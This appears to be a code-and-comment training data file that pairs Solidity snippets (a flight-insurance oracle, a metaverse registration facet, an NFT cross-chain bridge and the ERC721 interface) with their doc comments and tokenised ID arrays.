flight, uint256 timestamp); // Register an oracle with the contract function registerOracle() external payable { // Require registration fee require(msg.value >= REGISTRATION_FEE, "Registration fee is required"); uint8[3] memory indexes = generateIndexes(msg.sender); oracles[msg.sender] = Oracle({ isRegistered: true, indexes: indexes }); } function getMyIndexes() external view returns(uint8[3] memory) { require(oracles[msg.sender].isRegistered, "Not registered as an oracle"); return oracles[msg.sender].indexes; } // Called by oracle when a response is available to an outstanding request // For the response to be accepted, there must be a pending request that is open // and matches one of the three Indexes randomly assigned to the oracle at the // time of registration (i.e. uninvited oracles are not welcome) function submitOracleResponse( uint8 index, address airline, bytes32 flight, uint256 timestamp, uint8 statusCode ) public { bool hasIndex = ( (oracles[msg.sender].indexes[0] == index) || (oracles[msg.sender].indexes[1] == index) || (oracles[msg.sender].indexes[2] == index) ); require(hasIndex, "Index does not match oracle request"); bytes32 key = keccak256(abi.encodePacked(index, airline, flight, timestamp)); require(oracleResponses[key].isOpen, "Flight or timestamp do not match oracle request"); oracleResponses[key].responses[statusCode].push(msg.sender); // Information isn't considered verified until at least MIN_RESPONSES // oracles respond with the *** same *** information emit OracleReport(airline, flight, timestamp, statusCode); if (oracleResponses[key].responses[statusCode].length >= MIN_RESPONSES) { emit FlightStatusInfo(airline, flight, timestamp, statusCode); // Handle flight status as appropriate processFlightStatus(airline, flight, timestamp, statusCode); } } function getFlightKey(address airline, bytes32 flight, uint256 timestamp) internal pure returns(bytes32) { return keccak256(abi.encodePacked(airline, flight, timestamp)); } // Returns array of three non-duplicating integers from 0-9 function generateIndexes(address account) internal returns(uint8[3] memory) { uint8[3] memory indexes; indexes[0] = getRandomIndex(account); indexes[1] = indexes[0]; while(indexes[1] == indexes[0]) { indexes[1] = getRandomIndex(account); } indexes[2] = indexes[1]; while((indexes[2] == indexes[0]) || (indexes[2] == indexes[1])) { indexes[2] = getRandomIndex(account); } return indexes; } // Returns array of three non-duplicating integers from 0-9 function getRandomIndex(address account) internal returns(uint8) { uint8 maxValue = 10; // Pseudo random number...the incrementing nonce adds variation uint8 random = uint8(uint256(keccak256(abi.encodePacked(blockhash(block.number - nonce++), account))) % maxValue); if (nonce > 250) { nonce = 0; // Can only fetch blockhashes for last 256 blocks so we adapt } return random; } // endregion }
Called by oracle when a response is available to an outstanding request For the response to be accepted, there must be a pending request that is open and matches one of the three Indexes randomly assigned to the oracle at the time of registration (i.e. uninvited oracles are not welcome) Information isn't considered verified until at least MIN_RESPONSES oracles respond with the *** same *** information Handle flight status as appropriate
function submitOracleResponse( uint8 index, address airline, bytes32 flight, uint256 timestamp, uint8 statusCode ) public { bool hasIndex = ( (oracles[msg.sender].indexes[0] == index) || (oracles[msg.sender].indexes[1] == index) || (oracles[msg.sender].indexes[2] == index) ); require(hasIndex, "Index does not match oracle request"); bytes32 key = keccak256(abi.encodePacked(index, airline, flight, timestamp)); require(oracleResponses[key].isOpen, "Flight or timestamp do not match oracle request"); oracleResponses[key].responses[statusCode].push(msg.sender); emit OracleReport(airline, flight, timestamp, statusCode); if (oracleResponses[key].responses[statusCode].length >= MIN_RESPONSES) { emit FlightStatusInfo(airline, flight, timestamp, statusCode); processFlightStatus(airline, flight, timestamp, statusCode); } }
1,782,170
[ 1, 8185, 635, 20865, 1347, 279, 766, 353, 2319, 358, 392, 20974, 590, 2457, 326, 766, 358, 506, 8494, 16, 1915, 1297, 506, 279, 4634, 590, 716, 353, 1696, 471, 1885, 1245, 434, 326, 8925, 3340, 281, 20153, 6958, 358, 326, 20865, 622, 326, 813, 434, 7914, 261, 77, 18, 73, 18, 640, 5768, 16261, 578, 69, 9558, 854, 486, 28329, 13, 15353, 5177, 1404, 7399, 13808, 3180, 622, 4520, 6989, 67, 14508, 55, 578, 69, 9558, 6846, 598, 326, 225, 1967, 225, 1779, 5004, 25187, 1267, 487, 5505, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4879, 23601, 1064, 12, 203, 3639, 2254, 28, 770, 16, 203, 3639, 1758, 23350, 1369, 16, 203, 3639, 1731, 1578, 25187, 16, 203, 3639, 2254, 5034, 2858, 16, 203, 3639, 2254, 28, 6593, 203, 565, 262, 1071, 203, 565, 288, 203, 3639, 1426, 711, 1016, 273, 261, 203, 5411, 261, 10610, 9558, 63, 3576, 18, 15330, 8009, 11265, 63, 20, 65, 422, 770, 13, 747, 203, 5411, 261, 10610, 9558, 63, 3576, 18, 15330, 8009, 11265, 63, 21, 65, 422, 770, 13, 747, 203, 5411, 261, 10610, 9558, 63, 3576, 18, 15330, 8009, 11265, 63, 22, 65, 422, 770, 13, 203, 3639, 11272, 203, 3639, 2583, 12, 5332, 1016, 16, 315, 1016, 1552, 486, 845, 20865, 590, 8863, 203, 203, 203, 3639, 1731, 1578, 498, 273, 417, 24410, 581, 5034, 12, 21457, 18, 3015, 4420, 329, 12, 1615, 16, 23350, 1369, 16, 25187, 16, 2858, 10019, 203, 3639, 2583, 12, 280, 16066, 12222, 63, 856, 8009, 291, 3678, 16, 315, 24243, 578, 2858, 741, 486, 845, 20865, 590, 8863, 203, 203, 3639, 20865, 12222, 63, 856, 8009, 11822, 63, 30120, 8009, 6206, 12, 3576, 18, 15330, 1769, 203, 203, 3639, 3626, 28544, 4820, 12, 1826, 1369, 16, 25187, 16, 2858, 16, 6593, 1769, 203, 3639, 309, 261, 280, 16066, 12222, 63, 856, 8009, 11822, 63, 30120, 8009, 2469, 1545, 6989, 67, 14508, 55, 13, 288, 203, 203, 5411, 3626, 3857, 750, 1482, 966, 12, 1826, 1369, 16, 25187, 16, 2858, 16, 6593, 1769, 203, 203, 5411, 1207, 24243, 1482, 12, 1826, 1369, 2 ]
./full_match/4/0x0FEc9C9348E1AbC42cDb096EbDCc6F5358c47719/sources/tests/DeAuth/DAUTH.sol
calculate priceInWei of current token amount
uint delta = tokensPossibleToBuy * tokenSupply.tokenPriceInWei;
751,796
[ 1, 11162, 6205, 382, 3218, 77, 434, 783, 1147, 3844, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 7734, 2254, 3622, 273, 2430, 13576, 774, 38, 9835, 380, 1147, 3088, 1283, 18, 2316, 5147, 382, 3218, 77, 31, 6862, 1082, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity 0.8.10; import "../adapters/ConsumableAdapterV1.sol"; import "../interfaces/IMetaverseAdditionFacet.sol"; import "../libraries/LibOwnership.sol"; import "../libraries/marketplace/LibMetaverseConsumableAdapter.sol"; import "../libraries/marketplace/LibMarketplace.sol"; contract MetaverseAdditionFacet is IMetaverseAdditionFacet { /// @notice Adds a Metaverse to LandWorks. /// @dev Deploys a consumable adapter for each metaverse registry. /// @param _metaverseId The id of the metaverse /// @param _name Name of the metaverse /// @param _metaverseRegistries A list of metaverse registries, that will be /// associated with the given metaverse id. /// @param _administrativeConsumers A list of administrative consumers, mapped /// 1:1 to its metaverse registry index. Used as a consumer when no active rents are /// active. function addMetaverseWithAdapters( uint256 _metaverseId, string calldata _name, address[] calldata _metaverseRegistries, address[] calldata _administrativeConsumers ) public { addMetaverse( _metaverseId, _name, _metaverseRegistries, _administrativeConsumers, true ); } /// @notice Adds a Metaverse to LandWorks. /// @dev Sets the metaverse registries as consumable adapters. /// @param _metaverseId The id of the metaverse /// @param _name Name of the metaverse /// @param _metaverseRegistries A list of metaverse registries, that will be /// associated with the given metaverse id. /// @param _administrativeConsumers A list of administrative consumers, mapped /// 1:1 to its metaverse registry index. Used as a consumer when no active rents are /// active. function addMetaverseWithoutAdapters( uint256 _metaverseId, string calldata _name, address[] calldata _metaverseRegistries, address[] calldata _administrativeConsumers ) public { addMetaverse( _metaverseId, _name, _metaverseRegistries, _administrativeConsumers, false ); } function addMetaverse( uint256 _metaverseId, string calldata _name, address[] calldata _metaverseRegistries, address[] calldata _administrativeConsumers, bool withAdapters ) internal { require( _metaverseRegistries.length == _administrativeConsumers.length, "invalid metaverse registries and operators length" ); require( bytes(LibMarketplace.metaverseName(_metaverseId)).length == 0, "metaverse name already set" ); require( LibMarketplace.totalRegistries(_metaverseId) == 0, "metaverse registries already exist" ); LibOwnership.enforceIsContractOwner(); LibMarketplace.setMetaverseName(_metaverseId, _name); emit SetMetaverseName(_metaverseId, _name); for (uint256 i = 0; i < _metaverseRegistries.length; i++) { address metaverseRegistry = _metaverseRegistries[i]; address administrativeConsumer = _administrativeConsumers[i]; require( metaverseRegistry != address(0), "_metaverseRegistry must not be 0x0" ); LibMarketplace.setRegistry(_metaverseId, metaverseRegistry, true); emit SetRegistry(_metaverseId, metaverseRegistry, true); address adapter = metaverseRegistry; if (withAdapters) { adapter = address( new ConsumableAdapterV1(address(this), metaverseRegistry) ); } LibMetaverseConsumableAdapter .metaverseConsumableAdapterStorage() .consumableAdapters[metaverseRegistry] = adapter; emit ConsumableAdapterUpdated(metaverseRegistry, adapter); LibMetaverseConsumableAdapter .metaverseConsumableAdapterStorage() .administrativeConsumers[ metaverseRegistry ] = administrativeConsumer; emit AdministrativeConsumerUpdated( metaverseRegistry, administrativeConsumer ); } } }
@notice Adds a Metaverse to LandWorks. @dev Deploys a consumable adapter for each metaverse registry. @param _metaverseId The id of the metaverse @param _name Name of the metaverse @param _metaverseRegistries A list of metaverse registries, that will be associated with the given metaverse id. @param _administrativeConsumers A list of administrative consumers, mapped 1:1 to its metaverse registry index. Used as a consumer when no active rents are active.
) public { addMetaverse( _metaverseId, _name, _metaverseRegistries, _administrativeConsumers, true ); }
7,290,697
[ 1, 3655, 279, 6565, 2476, 358, 511, 464, 16663, 18, 225, 4019, 383, 1900, 279, 7389, 429, 4516, 364, 1517, 2191, 2476, 4023, 18, 225, 389, 3901, 2476, 548, 1021, 612, 434, 326, 2191, 2476, 225, 389, 529, 1770, 434, 326, 2191, 2476, 225, 389, 3901, 2476, 1617, 22796, 432, 666, 434, 2191, 2476, 960, 22796, 16, 716, 903, 506, 3627, 598, 326, 864, 2191, 2476, 612, 18, 225, 389, 3666, 3337, 1535, 23538, 432, 666, 434, 30162, 1535, 18350, 16, 5525, 404, 30, 21, 358, 2097, 2191, 2476, 4023, 770, 18, 10286, 487, 279, 4765, 1347, 1158, 2695, 283, 27932, 854, 2695, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 262, 1071, 288, 203, 3639, 527, 2781, 2476, 12, 203, 5411, 389, 3901, 2476, 548, 16, 203, 5411, 389, 529, 16, 203, 5411, 389, 3901, 2476, 1617, 22796, 16, 203, 5411, 389, 3666, 3337, 1535, 23538, 16, 203, 5411, 638, 203, 3639, 11272, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT // @unsupported: ovm pragma solidity >0.7.5; pragma experimental ABIEncoderV2; /* Interface Imports */ import { iL1NFTBridge } from "./interfaces/iL1NFTBridge.sol"; import { iL2NFTBridge } from "./interfaces/iL2NFTBridge.sol"; import { IERC721 } from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; /* Library Imports */ import { CrossDomainEnabled } from "@eth-optimism/contracts/contracts/libraries/bridge/CrossDomainEnabled.sol"; import { Lib_PredeployAddresses } from "@eth-optimism/contracts/contracts/libraries/constants/Lib_PredeployAddresses.sol"; import { SafeMath } from "@openzeppelin/contracts/utils/math/SafeMath.sol"; import { Address } from "@openzeppelin/contracts/utils/Address.sol"; import { ERC721Holder } from "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol"; import { ERC165Checker } from "@openzeppelin/contracts/utils/introspection/ERC165Checker.sol"; /* Contract Imports */ import { IL1StandardERC721 } from "../standards/IL1StandardERC721.sol"; /* External Imports */ import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol"; /** * @title L1NFTBridge * @dev The L1 NFT Bridge is a contract which stores deposited L1 ERC721 * tokens that are in use on L2. It synchronizes a corresponding L2 Bridge, informing it of deposits * and listening to it for newly finalized withdrawals. * * Compiler used: solc * Runtime target: EVM */ contract L1NFTBridge is iL1NFTBridge, CrossDomainEnabled, ERC721Holder, ReentrancyGuardUpgradeable, PausableUpgradeable { using SafeMath for uint; /******************************** * External Contract References * ********************************/ address public owner; address public l2NFTBridge; // Default gas value which can be overridden if more complex logic runs on L2. uint32 public depositL2Gas; enum Network { L1, L2 } // Info of each NFT struct PairNFTInfo { address l1Contract; address l2Contract; Network baseNetwork; // L1 or L2 } // Maps L1 token to tokenId to L2 token contract deposited for the native L1 NFT mapping(address => mapping (uint256 => address)) public deposits; // Maps L1 NFT address to NFTInfo mapping(address => PairNFTInfo) public pairNFTInfo; /*************** * Constructor * ***************/ // This contract lives behind a proxy, so the constructor parameters will go unused. constructor() CrossDomainEnabled(address(0)) {} /********************** * Function Modifiers * **********************/ modifier onlyOwner() { require(msg.sender == owner || owner == address(0), 'Caller is not the owner'); _; } modifier onlyInitialized() { require(address(messenger) != address(0), "Contract has not yet been initialized"); _; } /****************** * Initialization * ******************/ /** * @dev transfer ownership * * @param _newOwner new owner of this contract */ function transferOwnership( address _newOwner ) public onlyOwner() { owner = _newOwner; } /** * @dev Configure gas. * * @param _depositL2Gas default finalized deposit L2 Gas */ function configureGas( uint32 _depositL2Gas ) public onlyOwner() onlyInitialized() { depositL2Gas = _depositL2Gas; } /** * @param _l1messenger L1 Messenger address being used for cross-chain communications. * @param _l2NFTBridge L2 NFT bridge address. */ function initialize( address _l1messenger, address _l2NFTBridge ) public onlyOwner() initializer() { require(messenger == address(0), "Contract has already been initialized."); messenger = _l1messenger; l2NFTBridge = _l2NFTBridge; owner = msg.sender; configureGas(1400000); __Context_init_unchained(); __Pausable_init_unchained(); __ReentrancyGuard_init_unchained(); } /*** * @dev Add the new NFT pair to the pool * DO NOT add the same NFT token more than once. * * @param _l1Contract L1 NFT contract address * @param _l2Contract L2 NFT contract address * @param _baseNetwork Network where the NFT contract was created * */ function registerNFTPair( address _l1Contract, address _l2Contract, string memory _baseNetwork ) public onlyOwner() { // use with caution, can register only once PairNFTInfo storage pairNFT = pairNFTInfo[_l1Contract]; // l2 NFT address equal to zero, then pair is not registered. require(pairNFT.l2Contract == address(0), "L2 NFT Address Already Registered"); // _baseNetwork can only be L1 or L2 require( keccak256(abi.encodePacked((_baseNetwork))) == keccak256(abi.encodePacked(("L1"))) || keccak256(abi.encodePacked((_baseNetwork))) == keccak256(abi.encodePacked(("L2"))), "Invalid Network" ); Network baseNetwork; if (keccak256(abi.encodePacked((_baseNetwork))) == keccak256(abi.encodePacked(("L1")))) { baseNetwork = Network.L1; } else { baseNetwork = Network.L2; } pairNFTInfo[_l1Contract] = PairNFTInfo({ l1Contract: _l1Contract, l2Contract: _l2Contract, baseNetwork: baseNetwork }); } /************** * Depositing * **************/ // /** // * @inheritdoc iL1NFTBridge // */ function depositNFT( address _l1Contract, uint256 _tokenId, uint32 _l2Gas, bytes calldata _data ) external virtual override nonReentrant() whenNotPaused() { _initiateNFTDeposit(_l1Contract, msg.sender, msg.sender, _tokenId, _l2Gas, _data); } // /** // * @inheritdoc iL1NFTBridge // */ function depositNFTTo( address _l1Contract, address _to, uint256 _tokenId, uint32 _l2Gas, bytes calldata _data ) external virtual override nonReentrant() whenNotPaused() { _initiateNFTDeposit(_l1Contract, msg.sender, _to, _tokenId, _l2Gas, _data); } /** * @dev Performs the logic for deposits by informing the L2 Deposited Token * contract of the deposit and calling a handler to lock the L1 token. (e.g. transferFrom) * * @param _l1Contract Address of the L1 NFT contract we are depositing * @param _from Account to pull the deposit from on L1 * @param _to Account to give the deposit to on L2 * @param _tokenId NFT token Id to deposit. * @param _l2Gas Gas limit required to complete the deposit on L2. * @param _data Optional data to forward to L2. This data is provided * solely as a convenience for external contracts. Aside from enforcing a maximum * length, these contracts provide no guarantees about its content. */ function _initiateNFTDeposit( address _l1Contract, address _from, address _to, uint256 _tokenId, uint32 _l2Gas, bytes calldata _data ) internal { PairNFTInfo storage pairNFT = pairNFTInfo[_l1Contract]; require(pairNFT.l2Contract != address(0), "Can't Find L2 NFT Contract"); if (pairNFT.baseNetwork == Network.L1) { // This check could be bypassed by a malicious contract via initcode, // but it takes care of the user error we want to avoid. require(!Address.isContract(msg.sender), "Account not EOA"); // When a deposit is initiated on L1, the L1 Bridge transfers the funds to itself for future // withdrawals. safeTransferFrom also checks if the contract has code, so this will fail if // _from is an EOA or address(0). IERC721(_l1Contract).safeTransferFrom( _from, address(this), _tokenId ); // Construct calldata for _l2Contract.finalizeDeposit(_to, _amount) bytes memory message = abi.encodeWithSelector( iL2NFTBridge.finalizeDeposit.selector, _l1Contract, pairNFT.l2Contract, _from, _to, _tokenId, _data ); // Send calldata into L2 sendCrossDomainMessage( l2NFTBridge, _l2Gas, message ); deposits[_l1Contract][_tokenId] = pairNFT.l2Contract; } else { address l2Contract = IL1StandardERC721(_l1Contract).l2Contract(); require(pairNFT.l2Contract == l2Contract, "L2 NFT Contract Address Error"); // When a withdrawal is initiated, we burn the withdrawer's funds to prevent subsequent L2 // usage address NFTOwner = IL1StandardERC721(_l1Contract).ownerOf(_tokenId); require( msg.sender == NFTOwner || IL1StandardERC721(_l1Contract).getApproved(_tokenId) == msg.sender || IL1StandardERC721(pairNFT.l2Contract).isApprovedForAll(NFTOwner, msg.sender) ); IL1StandardERC721(_l1Contract).burn(_tokenId); // Construct calldata for l2NFTBridge.finalizeDeposit(_to, _amount) bytes memory message; message = abi.encodeWithSelector( iL2NFTBridge.finalizeDeposit.selector, _l1Contract, l2Contract, _from, _to, _tokenId, _data ); // Send calldata into L2 sendCrossDomainMessage( l2NFTBridge, _l2Gas, message ); } emit NFTDepositInitiated(_l1Contract, pairNFT.l2Contract, _from, _to, _tokenId, _data); } // /** // * @inheritdoc iL1NFTBridge // */ function finalizeNFTWithdrawal( address _l1Contract, address _l2Contract, address _from, address _to, uint256 _tokenId, bytes calldata _data ) external override onlyFromCrossDomainAccount(l2NFTBridge) { PairNFTInfo storage pairNFT = pairNFTInfo[_l1Contract]; if (pairNFT.baseNetwork == Network.L1) { // needs to verify comes from correct l2Contract require(deposits[_l1Contract][_tokenId] == _l2Contract, "Incorrect Burn"); // When a withdrawal is finalized on L1, the L1 Bridge transfers the funds to the withdrawer IERC721(_l1Contract).safeTransferFrom(address(this), _to, _tokenId); emit NFTWithdrawalFinalized(_l1Contract, _l2Contract, _from, _to, _tokenId, _data); } else { // Check the target token is compliant and // verify the deposited token on L2 matches the L1 deposited token representation here if ( // check with interface of IL1StandardERC721 ERC165Checker.supportsInterface(_l1Contract, 0x3899b238) && _l2Contract == IL1StandardERC721(_l1Contract).l2Contract() ) { // When a deposit is finalized, we credit the account on L2 with the same amount of // tokens. IL1StandardERC721(_l1Contract).mint(_to, _tokenId); emit NFTWithdrawalFinalized(_l1Contract, _l2Contract, _from, _to, _tokenId, _data); } else { bytes memory message = abi.encodeWithSelector( iL2NFTBridge.finalizeDeposit.selector, _l1Contract, _l2Contract, _to, // switched the _to and _from here to bounce back the deposit to the sender _from, _tokenId, _data ); // Send message up to L1 bridge sendCrossDomainMessage( l2NFTBridge, depositL2Gas, message ); emit NFTWithdrawalFailed(_l1Contract, _l2Contract, _from, _to, _tokenId, _data); } } } /****************** * Pause * ******************/ /** * Pause contract */ function pause() external onlyOwner() { _pause(); } /** * UnPause contract */ function unpause() external onlyOwner() { _unpause(); } } // SPDX-License-Identifier: MIT pragma solidity >0.7.5; pragma experimental ABIEncoderV2; /** * @title iL1NFTBridge */ interface iL1NFTBridge { event NFTDepositInitiated ( address indexed _l1Contract, address indexed _l2Contract, address indexed _from, address _to, uint256 _tokenId, bytes _data ); event NFTWithdrawalFinalized ( address indexed _l1Contract, address indexed _l2Contract, address indexed _from, address _to, uint256 _tokenId, bytes _data ); event NFTWithdrawalFailed ( address indexed _l1Contract, address indexed _l2Contract, address indexed _from, address _to, uint256 _tokenId, bytes _data ); function depositNFT( address _l1Contract, uint256 _tokenId, uint32 _l2Gas, bytes calldata _data ) external; function depositNFTTo( address _l1Contract, address _to, uint256 _tokenId, uint32 _l2Gas, bytes calldata _data ) external; function finalizeNFTWithdrawal( address _l1Contract, address _l2Contract, address _from, address _to, uint256 _tokenId, bytes calldata _data ) external; } // SPDX-License-Identifier: MIT pragma solidity >0.7.5; pragma experimental ABIEncoderV2; /** * @title iL2NFTBridge */ interface iL2NFTBridge { // add events event WithdrawalInitiated ( address indexed _l1Token, address indexed _l2Token, address indexed _from, address _to, uint256 _tokenId, bytes _data ); event DepositFinalized ( address indexed _l1Token, address indexed _l2Token, address indexed _from, address _to, uint256 _tokenId, bytes _data ); event DepositFailed ( address indexed _l1Token, address indexed _l2Token, address indexed _from, address _to, uint256 _tokenId, bytes _data ); function withdraw( address _l2Contract, uint256 _tokenId, uint32 _l1Gas, bytes calldata _data ) external; function withdrawTo( address _l2Contract, address _to, uint256 _tokenId, uint32 _l1Gas, bytes calldata _data ) external; function finalizeDeposit( address _l1Contract, address _l2Contract, address _from, address _to, uint256 _tokenId, bytes calldata _data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve 